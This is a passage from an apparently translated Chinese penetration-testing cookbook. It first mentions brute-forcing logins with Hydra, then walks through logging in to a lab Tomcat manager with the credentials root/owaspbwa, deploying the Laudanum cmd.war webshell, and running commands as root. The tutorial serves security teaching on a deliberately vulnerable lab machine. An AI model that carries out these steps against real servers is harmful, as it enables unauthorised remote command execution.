:將每個列表中的用戶名作為密碼嘗試。
另見
這個攻擊也可以由 Hydra 執行,使用http-head
作為服務,-L
選項來加載用戶列表,-P
選項來加載密碼。
6.10 使用 Tomcat 管理器來執行代碼
上一個秘籍中,我們獲得了 Tomcat 管理器的身份認證,并提到了它可以讓我們在服務器中執行代碼。這個秘籍中,我們會使用它來登錄管理器并上傳新的應用,這允許我們在服務器中執行操作系統命令。
操作步驟
訪問
http://192.168.56.102:8080/manager/html
。-
被詢問用戶名和密碼時,使用上一個秘籍中獲得的:
root
和owaspbwa
。 一旦進入了管理器,尋找
WAR file to deploy
并點擊Browse
按鈕。-
Kali 在
/usr/share/laudanum
包含了一些 webshall,在這里瀏覽它們并選擇文件/usr/share/laudanum/jsp/cmd.war
。 -
加載之后點擊
Deploy
。 -
確保存在新的叫做
cmd
的應用。 讓我們試一試,訪問
http://192.168.56.102:8080/cmd/cmd.jsp
。-
在文本框中嘗試命令,例如
ifconfig
: -
我們可以看到,我們可以執行命令,但是為了弄清楚我們擁有什么用戶和什么權限,嘗試
whoami
命令:我們可以看到,Tomcat 在這臺服務器中運行在 root 權限下。這意味著我們這里擁有它的全部控制權,并且能夠執行任何操作,例如創建或刪除用戶,安裝軟件,配置操作系統選項,以及其它。
工作原理
一旦我們獲得了 Tomcat 管理器的身份認證,攻擊過程就相當直接了。我們僅僅需要足以讓我們上傳它的應用。Laudanum 默認包含在 Kali 中,是多種語言和類型的 webshell 的集合,包括 PHP、ASP、 ASP.NET 和 JSP。對滲透測試者來說,什么比 webshell 更有用呢?
Tomcat 能夠接受以 WAR(Web 應用歸檔)格式打包的 Java Web 應用并將其部署到服務器上。我們剛剛使用了這一特性來上傳 Laudanum 中的 webshell。在它上傳和部署之后,我們瀏覽它并且通過執行系統命令,我們發現我們擁有這個系統的 root 訪問。